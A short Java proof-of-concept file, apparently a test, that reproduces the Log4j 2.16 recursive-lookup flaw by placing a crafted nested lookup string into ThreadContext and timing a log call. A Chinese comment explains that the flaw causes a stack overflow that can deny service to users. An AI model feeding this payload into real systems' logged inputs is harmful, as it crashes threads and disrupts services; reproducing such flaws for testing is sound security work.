package com.technology.client;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j216Test {
    private static final Logger logger = LogManager.getLogger(Log4j216Test.class);

    public static void main(String[] args) {
        String inputStr = "${${::-${::-$${::-$}}}}";
//		2.16版本存在递归查找导致堆栈溢出而终止线程，请求量大时对正常用户可能无法提供服务。
        threadContextPut(inputStr);
    }

    private static void threadContextPut(String inputStr) {
        ThreadContext.put("userInput", inputStr);
        long start = System.currentTimeMillis();
        try {
            logger.error("doSomeLog simpleText...");
        } finally {
            System.out.println("cost:" + (System.currentTimeMillis() - start));
        }
    }

}
